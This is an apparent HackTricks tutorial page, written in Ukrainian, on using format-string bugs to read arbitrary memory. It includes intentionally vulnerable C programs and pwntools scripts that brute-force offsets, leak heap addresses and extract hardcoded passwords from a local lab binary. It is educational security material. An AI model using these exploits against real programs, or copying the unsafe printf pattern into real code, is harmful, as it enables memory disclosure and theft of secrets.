hacktricks/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

169 lines
5.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Форматні рядки - Приклад довільного читання
{{#include ../../banners/hacktricks-training.md}}
## Читання бінарних даних початок
### Код
```c
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
```
Скомпілюйте це з:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Експлуатація
```python
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- **зсув 11** тому що встановлення кількох A та **брутфорс** з циклом з 0 до 50 виявило, що на зсуві 11 і з 5 додатковими символами (трубки `|` у нашому випадку) можливо контролювати повну адресу.
- Я використав **`%11$p`** з заповненням до того, щоб адреса була вся 0x4141414141414141
- **вантаж форматного рядка є ДО адреси** тому що **printf перестає читати на нульовому байті**, тому якщо ми відправимо адресу, а потім форматний рядок, printf ніколи не досягне форматного рядка, оскільки нульовий байт буде знайдений раніше
- Вибрана адреса 0x00400000 тому що це місце, де починається бінарник (без PIE)
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Читати паролі
```c
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
```
Скомпілюйте це з:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Читання зі стеку
**`stack_password`** буде зберігатися в стеку, оскільки це локальна змінна, тому просто зловживання printf для відображення вмісту стеку є достатнім. Це експлойт для BF перших 100 позицій, щоб витягти паролі зі стеку:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
На зображенні видно, що ми можемо витягти пароль зі стеку на `10-й` позиції:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Читання даних
Запускаючи той же експлойт, але з `%p` замість `%s`, можливо витягти адресу купи зі стеку на `%25$p`. Більше того, порівнюючи витягнуту адресу (`0xaaaab7030894`) з позицією пароля в пам'яті цього процесу, ми можемо отримати різницю адрес:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Тепер час знайти, як контролювати 1 адресу в стеку, щоб отримати до неї доступ з другої вразливості форматного рядка:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
І можна побачити, що в **try 14** з використаним проходженням ми можемо контролювати адресу:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}